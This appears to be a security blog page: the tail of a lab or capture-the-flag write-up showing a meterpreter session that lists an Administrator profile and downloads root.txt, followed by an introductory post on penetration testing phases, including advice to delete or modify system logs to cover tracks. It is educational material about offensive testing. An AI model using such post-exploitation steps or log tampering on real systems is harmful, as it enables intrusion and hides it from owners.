40555/r-xr-xr-x 0 dir 2017-03-16 14:07:31 +0800 My Documents
100666/rw-rw-rw- 524288 fil 2017-05-11 06:31:16 +0800 NTUSER.DAT
100666/rw-rw-rw- 1024 fil 2017-07-24 00:18:53 +0800 NTUSER.DAT.LOG
40777/rwxrwxrwx 0 dir 2017-03-16 13:20:48 +0800 NetHood
40777/rwxrwxrwx 0 dir 2017-03-16 13:20:48 +0800 PrintHood
40555/r-xr-xr-x 0 dir 2017-03-16 14:07:31 +0800 Recent
40555/r-xr-xr-x 0 dir 2017-03-16 14:07:24 +0800 SendTo
40555/r-xr-xr-x 0 dir 2017-03-16 13:20:48 +0800 Start Menu
40777/rwxrwxrwx 0 dir 2017-03-16 13:28:41 +0800 Templates
100666/rw-rw-rw- 178 fil 2017-05-11 06:31:16 +0800 ntuser.ini

meterpreter > cd Desktop
meterpreter > dir
Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 32 fil 2017-03-16 14:18:50 +0800 root.txt

meterpreter > download root.txt
[*] Downloading: root.txt -> root.txt
[*] Downloaded 32.00 B of 32.00 B (100.0%): root.txt -> root.txt
[*] download : root.txt -> root.txt
meterpreter >

 


Subscribe for more!

To stay up to date with my latest posts and more InfoSec guides, make sure to subscribe to this blog by entering your email address below.

I promise I won’t be spamming your mailbox. Because no one loves spam. AMIRIGHT?

Phases of Penetration Testing

Penetration Testing or Pentesting is a process where the testers will assess and discover the vulnerabilities that are present in a network or system and will exploit these vulnerabilities to gain access. Pentesting is also the process of simulating real world scenario where the testers will act and think like an attacker to assess and discover weaknesses and exploit those weaknesses of the target system.

There are a lot of topics in penetration testing but I will only discuss the phases and techniques that I usually use when I am attacking a vulnerable system.

In general, the phases of penetration testing are

  1. Reconnaissance
  2. Scanning
  3. Gaining Access
  4. Maintaining Access
  5. Covering Tracks

Before attacking our target system, we always need to plan our moves to get a higher chance of gaining access to the system.

Reconnaissance

So first is the Reconnaissance. Reconnaissance is the phase where we gather available information of the target with the use of search engines and/or social media sites. There are two types of reconnaissance, the passive reconnaissance, and active reconnaissance.

Passive reconnaissance is the gathering of information on Google, company profile, social media, name servers, etc.

Active reconnaissance is the gathering of information through scanning the target system with the use of tools that are available and can be downloaded online.

Beware of the IDS/IPS and Firewall when scanning because we are most likely will fail if the target system blocked our access.

Tools for active reconnaissance

  • nmap
  • maltego
  • etc.

The goal of this phase is to gather the initial information of the target.

Scanning

After we gather the available information of the target, we will scan the target system to discover vulnerabilities that are present for us to exploit.

Tools for scanning

  • nmap
  • auxiliary modules in metasploit
  • etc.

Again, beware of the IDS/IPS and Firewall when scanning.

The goal of this phase is to have an idea on how we can exploit the vulnerabilities that are present on the target system. For example, if the target system is vulnerable to a certain exploit that is available in public, we can add this to our options in exploiting the target system.

Gaining Access

After enumerating our target, we will now move on to the fun part in hacking; the exploitation phase.

  • Proper enumeration can lead to more chance of exploitation.
  • You can use public exploits to attack the vulnerable services that are present on the target’s local machine.
  • Public exploits may not work out of the box so you need to analyze how the exploit works by tracing the source code of the exploit.
  • Modify the source code of the exploit if you need to.
  • In compiling public exploits locally, make sure that it matches the kernel version of the local machine to the target machine.

The goal of this phase is to properly exploit the vulnerabilities of the target and gain low-level or privileged access to the system.

Maintaining Access

When we successfully exploited and got a low privileged access to the system, we need to maintain our access long enough to achieve our goal.

The goal of this phase is to maintain and gain system level access to the system.

Covering Tracks

After we have gained access to the system and we already achieved our goal, we need to delete all the backdoors, exploits, and other files that we used to gain access to the system. We also need to delete or modify the system logs to cover our tracks.

The goal of this phase is self-explanatory.

Conclusion

So there are five phases of penetration testing and these are Reconnaissance, Scanning, Gaining Access, Maintaining Access, and Covering Tracks. There are still a lot of information that wasn’t included here and I hope it gave you an idea and understand the phases and techniques on how the penetration testers attack a system.

If you have any questions or suggestions, feel free to contact me. 🙂


Subscribe for more!

To stay up to date with my latest posts and more InfoSec guides, make sure to subscribe to this blog by entering your email address below.

I promise I won’t be spamming your mailbox. Because no one loves spam. AMIRIGHT?